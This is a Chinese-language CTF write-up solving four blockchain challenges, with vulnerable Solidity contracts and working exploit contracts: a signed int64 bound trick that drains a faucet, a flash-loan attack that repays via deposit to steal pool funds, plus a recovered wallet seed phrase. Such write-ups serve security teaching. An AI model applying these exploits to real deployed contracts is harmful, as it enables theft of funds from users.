打着玩玩,现在只对区块链和好一点的取证感兴趣了,还是好好考研吧👍

取证有点过于多了,不写wp了

Russian Roulette

签到题,合约如下

Setup.sol

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

RussianRoulette.sol:

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
        return "im SAFU ... for now";
        }
    }
}

一眼简,触发pullTrigger里面的自毁函数就行了,运气问题,at address部署手动点点

Lucky Faucet

合约如下

Setup.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}

LuckyFaucet.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

要求是起码提走10个eth

合约咋一看没有什么漏洞点,靠手点的话每次最多也就100M wei

但是注意到里面这样两块

int64 public upperBound;
int64 public lowerBound;
...
upperBound - lowerBound + 1

既然变量是int64型,也就是说存在负数,而减去int64最小值的话randomInt的限制就会大大减少,也就是说amountToSend可以变得很大,写合约完成即可

exp.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

interface LuckyFaucet {
    function setBounds(int64 _newLowerBound, int64 _newUpperBound) external;
    function sendRandomETH() external returns (bool, uint64);
}

contract attack {
    LuckyFaucet public LF;

    constructor(address _addr) {
        LF = LuckyFaucet(_addr);
    }

    function exp() external{
        LF.setBounds(-9223372036854775808, 100000000);
        LF.sendRandomETH();
    }
    fallback() external payable {}
}

点一两次就够10eth了

Recovery

简单题,区块链相关考点不多

给的帐号密码直接登,家目录里有个wallet,然后里面有一个txt文件包含助记词,或者说是"seed"

直接拿到seed

cradle change emerge market love umbrella trial clay album author fringe napkin

然后ssh部分就没用了,有点搞笑,还以为能搞个提权呢

另一个容器nc上去给了点连接参数以及给了地址用来把这个seed对应的账户里的btc打到里面去

还剩一个容器就是Electrum的server了,直接连

macos的electrum直接用brew安装就好了

/Applications/Electrum.app/Contents/MacOS/run_electrum --regtest --oneserver -s 94.237.62.99:47278:t

这里选个标准钱包然后输入seed,然后直接跳过密码即可

然后在发送里面把所有btc转到给的地址里就好了,简单

Ledger Heist

闪电贷,之前没怎么见过,搜了一下,大概就是借了直接还,需要在当前区块里还清借款

合约给了不少,有洞的不多

主要合约如下

Setup.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";

contract Setup {
    LoanPool public immutable TARGET;
    Token public immutable TOKEN;

    constructor(address _user) {
        TOKEN = new Token(_user);
        TARGET = new LoanPool(address(TOKEN));

        TOKEN.approve(address(TARGET), type(uint256).max);
        TARGET.deposit(10 ether);
    }

    function isSolved() public view returns (bool) {
        return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
    }
}

LoanPool.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";

struct UserRecord {
    uint256 feePerShare;
    uint256 feesAccumulated;
    uint256 balance;
}

contract LoanPool is Events {
    using FixedMathLib for uint256;

    uint256 constant BONE = 10 ** 18;

    address public underlying;
    uint256 public totalSupply;
    uint256 public feePerShare;
    mapping(address => UserRecord) public userRecords;

    constructor(address _underlying) {
        underlying = _underlying;
    }

    function deposit(uint256 amount) external {
        updateFees();
        IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);
        _mint(msg.sender, amount);
    }

    function withdraw(uint256 amount) external {
        if (userRecords[msg.sender].balance < amount) {
            revert InsufficientBalance();
        }
        updateFees();
        _burn(msg.sender, amount);
        IERC20Minimal(underlying).transfer(msg.sender, amount);
    }

    function updateFees() public {
        address _msgsender = msg.sender;

        UserRecord storage record = userRecords[_msgsender];
        uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);

        record.feesAccumulated += fees;
        record.feePerShare = feePerShare;

        emit FeesUpdated(underlying, _msgsender, fees);
    }

    function withdrawFees() external returns (uint256) {
        address _msgsender = msg.sender;

        uint256 fees = userRecords[_msgsender].feesAccumulated;
        if (fees == 0) {
            revert NoFees();
        }
        userRecords[_msgsender].feesAccumulated = 0;
        IERC20Minimal(underlying).transfer(_msgsender, fees);

        emit FeesUpdated(underlying, _msgsender, fees);

        return fees;
    }

    function balanceOf(address account) public view returns (uint256) {
        return userRecords[account].balance;
    }

    // Flash loan EIP
    function maxFlashLoan(address token) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return IERC20Minimal(token).balanceOf(address(this));
    }

    function flashFee(address token, uint256 amount) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return _computeFee(amount);
    }

    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (token != underlying) {
            revert NotSupported(token);
        }

        IERC20Minimal _token = IERC20Minimal(underlying);
        uint256 _balanceBefore = _token.balanceOf(address(this));

        if (amount > _balanceBefore) {
            revert InsufficientBalance();
        }

        uint256 _fee = _computeFee(amount);
        _token.transfer(address(receiver), amount);

        if (
            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
                != keccak256("ERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        uint256 _balanceAfter = _token.balanceOf(address(this));
        if (_balanceAfter < _balanceBefore + _fee) {
            revert LoanNotRepaid();
        }
        // The fee is `fee`, but the user may have sent more.
        uint256 interest = _balanceAfter - _balanceBefore;
        _updateFeePerShare(interest);

        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
        return true;
    }

    // Private methods
    function _mint(address to, uint256 amount) private {
        totalSupply += amount;
        userRecords[to].balance += amount;

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) private {
        totalSupply -= amount;
        userRecords[from].balance -= amount;

        emit Transfer(from, address(0), amount);
    }

    function _updateFeePerShare(uint256 interest) private {
        feePerShare += interest.fixedDivFloor(totalSupply, BONE);
    }

    function _computeFee(uint256 amount) private pure returns (uint256) {
        // 0.05% fee
        return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
    }
}

既然题目是关于闪电贷,那问题肯定就处在相关方法里面

function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (token != underlying) {
            revert NotSupported(token);
        }

        IERC20Minimal _token = IERC20Minimal(underlying);
        uint256 _balanceBefore = _token.balanceOf(address(this));

        if (amount > _balanceBefore) {
            revert InsufficientBalance();
        }

        uint256 _fee = _computeFee(amount);
        _token.transfer(address(receiver), amount);

        if (
            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
                != keccak256("ERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        uint256 _balanceAfter = _token.balanceOf(address(this));
        if (_balanceAfter < _balanceBefore + _fee) {
            revert LoanNotRepaid();
        }
        // The fee is `fee`, but the user may have sent more.
        uint256 interest = _balanceAfter - _balanceBefore;
        _updateFeePerShare(interest);

        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
        return true;
    }

可以看到整体流程如下

先判断给的token地址是不是他所指定的token地址
然后保存当前此合约的余额
然后根据贷款数量计算fee,fee为贷款数量的0.05%
然后调用receiver地址的onFlashLoan方法,这个地址可以自定义
然后检查现在的余额是否小于原来的加上fee,即原余额加上要还的利息
最后更新FeePerShare

不难发现,流程似乎没什么问题,就是正常的借钱还钱加利息

但是合约里面还有一个方法

function deposit(uint256 amount) external {
    updateFees();
    IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);
    _mint(msg.sender, amount);
}

如果我们结合这两个方法,也就是说在题目合约调用receiver的onFlashLoan方法的时候我们用deposit方法来还钱的话,就会导致余额确实是与原来的余额加上利息相等,但是这些钱全部加进了借钱者的余额,即借钱者获得了包括fee在内的所有钱同时还清了债务

最后我们再调用withdraw方法取出totalSupply超过10eth的部分即可,也就是amount+fee

依据这个结论,可以写出以下攻击合约

Exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface LoanPool {
    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external;
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
}

interface IERC3156FlashBorrower {
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32);
}

interface Token {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract attack {
    LoanPool public LP;
    Token public tok;

    constructor(address LP_address, address tok_address) {
        LP = LoanPool(LP_address);
        tok = Token(tok_address);
        tok.approve(LP_address, type(uint256).max);
    }
    function exp() external{
        LP.flashLoan(IERC3156FlashBorrower(address(this)), address(tok), 5 ether, "");
        LP.withdraw(5 ether + 5 ether * 0.0005);
    }
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
        LP.deposit(amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
    fallback() external payable {}
}

不知道token地址的话可以直接at address部署LoanPool或者写个脚本算一下(里面的地址填setup的地址)

import rlp
from eth_utils import keccak, to_checksum_address, to_bytes

def mk_contract_address(sender: str, nonce: int) -> str:
    sender_bytes = to_bytes(hexstr=sender)
    raw = rlp.encode([sender_bytes, nonce])
    h = keccak(raw)
    address_bytes = h[12:]
    return to_checksum_address(address_bytes)

address = to_checksum_address(mk_contract_address(to_checksum_address(
    "0x1291CC8B2650Fb6631d383e47444349F323d4168"), 1))

print(address)

部署好之后at address调用一下token合约的transfer方法把自己的1eth转给部署好的攻击合约

然后直接调用攻击合约的exp方法即可